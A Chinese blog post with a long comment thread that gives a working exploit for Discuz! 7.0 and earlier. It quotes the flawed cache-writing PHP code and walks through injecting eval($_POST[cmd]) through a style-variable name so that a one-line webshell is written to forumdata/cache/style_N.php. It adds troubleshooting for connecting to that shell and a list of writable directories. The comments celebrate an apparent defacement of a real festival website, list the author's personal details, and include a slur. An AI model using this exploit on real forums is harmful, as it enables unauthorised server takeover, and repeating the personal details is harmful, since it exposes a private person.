Jul
14

Discuz! 7.0 及以下版本后台拿webshell(无需创始人)

我很少关心之类的漏洞,已经很少拿站了,遇到DZ更加只是路过,也没去过多关心DZ的漏洞或者去研究代码;前不久论坛被人留下一个shell,害我检查半天,不过既然遇到了,那就公布出来方便大家。

我先声明:
1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:http://ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;
2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法。后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...

好了,不废话,看代码:

<?php
......
if(
$newcvar && $newcsubst) {
            if(
$db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
                
cpmsg('styles_edit_variable_duplicate''''error');
            } elseif(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar)) {
                
cpmsg('styles_edit_variable_illegal''''error');
            }
            
$newcvar strtolower($newcvar);
            
$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
                VALUES ('$id', '$newcvar', '$newcsubst')"
);
        }
//插入变量数据,From www.oldjun.com
......
updatecache('styles');//更新缓存(写文件),From www.oldjun.com
......
?>

这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。

这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar),其中“\x7f-\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

<?php
    $newcvar
=$_GET['newcvar'];
    echo 
$newcvar;
    echo 
"<br>";
    if(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar)) {
                echo 
"haha";
            }else{
                echo 
'pass';
            }
    
?>

下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:

function getcachevars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(is_array($val)) {
            $evaluate .= "\$$key = ".arrayeval($val).";\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...

于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1
中,最下面有个“自定义模板变量”,变量中填:

OLDJUN', '#999');eval($_POST[cmd]);//

替换内容随便输入:1111,然后提交,一句话木马就产生了:
http://www.oldjun.com/bbs/forumdata/cache/style_1.php

如果你修改的style的id是2的话,对于的shell就是style_2.php。

这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。

注:很多人反应连不上一句话,我发现我文章少说了一句:

$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";

这句话是说所有的变量名换成大写的了!

因此请用大写的CMD做为你一句话的密码!

附dz可写目录:

•附件目录 默认是 ./attachments
•数据目录 ./forumdata
•缓存目录 ./forumdata/cache
•数据目录 ./forumdata/templates
•主题缓存目录 ./forumdata/threadcaches
•缓存目录 ./forumdata/logs
•缓存目录 ./uc_client/data/cache
•缓存目录 ./uc_server/data
•缓存目录 ./uc_server/data/cache
•缓存目录 ./uc_server/data/view
•缓存目录 ./uc_server/data/avatar
•缓存目录 ./uc_server/data/logs
•缓存目录 ./uc_server/data/backup
•缓存目录 ./uc_server/data/tmp

共有75条评论

  1. [...]作者:oldjun[...]

  2. sunwear: Jul,15th,2009

    日哦 我有……

  3. 但丁: Jul,15th,2009

    貌似不行....会提示新增的替换变量名称不合法,请返回修改。

  4. 但丁: Jul,15th,2009

    写反了
    不过可以提交了 但是一句话连不上....

  5. kyo: Jul,15th,2009

    一句话,连不上 - -

  6. kai: Jul,15th,2009

    5.5 测试不成功.
    提示:Parse error: syntax error, unexpected T_LNUMBER in /u01/www1/**/web/forum/forumdata/cache/style_1.php on line 63

  7. oldjun: Jul,15th,2009

    连不上的请看我加上去的注!请用大写的CMD连接!

    5.5的你再本地测试下,我本地没测试,但应该可以的!

  8. [...]作者:oldjun[...]

  9. 匿名: Jul,15th,2009

    换成大写CMD了也连不上呢??郁闷

  10. oldjun: Jul,15th,2009

    那你检查下哪里填错了,我测试通过的!

  11. 但丁: Jul,15th,2009

    OK了 谢谢你了 爱死你了
    能连上了

  12. [...][...]

  13. T.r.F [M4kin]: Jul,17th,2009

    连不上去- -!

    大写也试过了

    不过后来试试少2个// 整个网址就挂掉了 晕。

    我的版本是DZ7.0

  14. [...]作者:oldjun[...]

  15. 123: Jul,25th,2009

    电影节网站是您黑的吗?

  16. kaka: Jul,25th,2009

    123: Jul,25th,2009 电影节网站是您黑的吗?

  17. kaka: Jul,25th,2009

    o 对了 我来自天涯

  18. oldjun: Jul,25th,2009

    http://www.melbournefilmfestival.com.au/2008/banners/test.txt

  19. 0-0: Jul,25th,2009

    汗 是你黑的吗?一百度就找到了
    然后你的姓名身份证号大学什么的个人信息都在博客里找到了~~囧
    快点藏起来啊~!!!!!!囧~~~

  20. asaf: Jul,26th,2009

    哥们儿,拿完站之后还留名...IMAGE BAIDU一下就知道你长啥样儿了

  21. fddd: Jul,27th,2009

    怕个毛线啊,国家对那事还正好找不到出气的地方那个呢,再说他还敢跨国追捕了不是……
    顶你!

  22. Johnny.Lv: Jul,27th,2009

    我在天涯看到拿了个站,不错嘛...

  23. alibaba: Jul,27th,2009

    向你致敬,以后能贴图或是视频则更有说服力

  24. seu_Grace: Jul,27th,2009

    兄弟,座位校友我真替你感到骄傲~~

  25. 牛人: Jul,27th,2009

    兄弟,太牛了,人才呀~~~~~~~国防部就需要你这样的人才~~~~~~~~~~

  26. 北京人民: Jul,27th,2009

    北京人民发来贺电!

  27. hacker06: Jul,27th,2009

    脚本技术 没得说!!
    老哥,你也得讲讲社会工程学啊!!百度GOOGLE 一下就把你全暴露了!!
    还留名!!
    85 年出身,东台中学毕业!!现在在南京!!东南大学毕业!!

  28. hacker06: Jul,27th,2009

    快躲起来吧!!哈哈

  29. xiaoshan: Jul,27th,2009

    爱死你了

  30. rey: Jul,27th,2009

    我发现好多牛人...-_-

  31. 90hacker: Jul,28th,2009

    军哥加油,小心为上。嘿嘿

  32. heather: Jul,28th,2009

    技术党,我奋斗的目标。

    努力中的某人

  33. 123: Jul,28th,2009

    墨尔本电影节网站是你黑的吧,好样的

  34. 幻の言能: Jul,28th,2009

    好久没吱声了,也就在群里面看你们嘀咕!宇少GG你也忒牛了吧!赞一个!

  35. 谢一鹏: Jul,28th,2009

    赞美你~
    非常有请你吃饭的冲动~

  36. 湖北人民: Jul,28th,2009

    湖北人民发来贺电!

  37. 山东人民: Jul,28th,2009

    山东人民发来贺电

  38. 东南校友: Jul,28th,2009

    顶死前辈 哈哈

  39. 外航客运部: Jul,28th,2009

    客运部全体员工像你经理

  40. 外航客运部: Jul,28th,2009

    客运部全体员工一起向你敬礼(激动打错了)

  41. zyb755: Jul,28th,2009

    东台市人民政府发来贺电

  42. dyyz: Jul,28th,2009

    东营市人民政府发来贺电。

  43. 小风: Jul,28th,2009

    兄弟,太牛了,人才呀~~~~~~~国防部就需要你这样的人才~~~~~~~~~~

  44. 崇拜你: Jul,28th,2009

    真太崇拜你了~!牛....你已经成为我们中国的英雄了兄弟~!

  45. 爱你: Jul,28th,2009

    牛........好喜欢

  46. (*^__^*) 嘻嘻……: Jul,28th,2009

    中国的人才啊~!真帅!.............

  47. 小柯: Jul,28th,2009

    老军牛人哈。。。

  48. 中国人: Jul,28th,2009

    中国人支持你~

  49. cain: Jul,28th,2009

    军爷们~
    咱太赞你了····HOHO··以后有事通知一声
    咱帮你翻译成法语,让他们道歉~

  50. 上海人民: Jul,28th,2009

    上海人民发来贺电!

  51. Lml54wy: Jul,28th,2009

    前段时间忙联盟的服务器问题,今晚来逛逛,宇叔还是对技术很执着~
    没找到留言板,就在这说几句,^_^
    忙着弄金融,都没什么时间上论坛了,歉过~
    一个问题:前段时间帮同学做域名转手,闲暇之余测试了下,oldjun.cn和oldjun.com.cn都注了,该是宇叔注的吧,可是为啥不URL转向到这里呢?

  52. oldjun: Jul,28th,2009

    ...不是我注的...

  53. 上海人民: Jul,28th,2009

    上海人民再次发来贺电!

  54. oldjun: Jul,28th,2009

    。。。

  55. 上海人民: Jul,28th,2009

    上海人民再再次发来贺电!见QQ~

  56. big528: Jul,28th,2009

    他们要找你 你就躲到我家里来哈。。我接你,,呵呵。。

  57. 上海人民: Jul,29th,2009

    直接子弹头来上海 到火车站我接你~~10分钟到
    刚QQ聊的~

  58. pamdx: Jul,29th,2009

    每次看你的文章都感觉受益匪浅~~谢谢~~呵呵~~~然后提醒哥们注意安全~~~
    安全第一,安全第一~~~~虽然你的脚本技术一流...但是对社工的意识貌似淡了点~~~可以参考我QQ空间的文章,我的Q是16040988
    加过你的

  59. huliwei630910: Jul,29th,2009

    海南人民发来贺电。。。东南大学海南校友发来贺电

  60. 东台人民: Jul,30th,2009

    东台人民发来贺电,东中校友发来贺电!

  61. xxo: Jul,31st,2009

    UCenter Home 后台 如何拿shell?

  62. 高尚爱卑鄙: Aug,1st,2009

    长江后浪推前浪,老军我要把你拍在沙滩上。

  63. 草榴社区: Aug,2nd,2009

    长江后浪推前浪,老军我要把你拍在沙滩上。

  64. widxx: Aug,6th,2009

    有点意思~

  65. Trish Hunt: Aug,10th,2009

    faggot. try hacking my website http://www.woolworths.com.au

  66. oldjun: Aug,13th,2009

    to Trish Hunt:I have no free time...and asp...parhaps easier...

  67. helloworld: Aug,14th,2009

    hi 老军,向你咨询个问题,假如我进入一个大型网站,下载了他们的用户数据库带回家,这个目前算不算违法? 后怕ing..

  68. oldjun: Aug,15th,2009

    进去了就算犯罪...

  69. Lin: Aug,15th,2009

    你好,我也想做个类似的个人主页,但是不太会像你简历的那种层的变化。
    您能否教我一下。比如把你的简历的那个页面的javascript代码能否借我学习一下。谢谢!
    东大校友

  70. oldjun: Aug,16th,2009

    javascript本来就是客户端代码,你完全可以查源码抠下来!

  71. Lin: Aug,16th,2009

    哦,谢谢了`

  72. oldjun: Aug,18th,2009

    DZ终于出补丁了...艰难...

  73. cnck: Aug,18th,2009

    你太有才了!

  74. magike: Aug,25th,2009

    老哥们,你最近风头太盛了,从博客的pr就可以看出来,飙升到6了,哎!给个建议:以后拿下象dz什么,再给人家一套解决方案把!怎么也显示出是大牛了! 呵呵

  75. 丹哥: Aug,28th,2009

    陆丰人民发来贺电 以后跑路了来找我 嘿嘿

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT: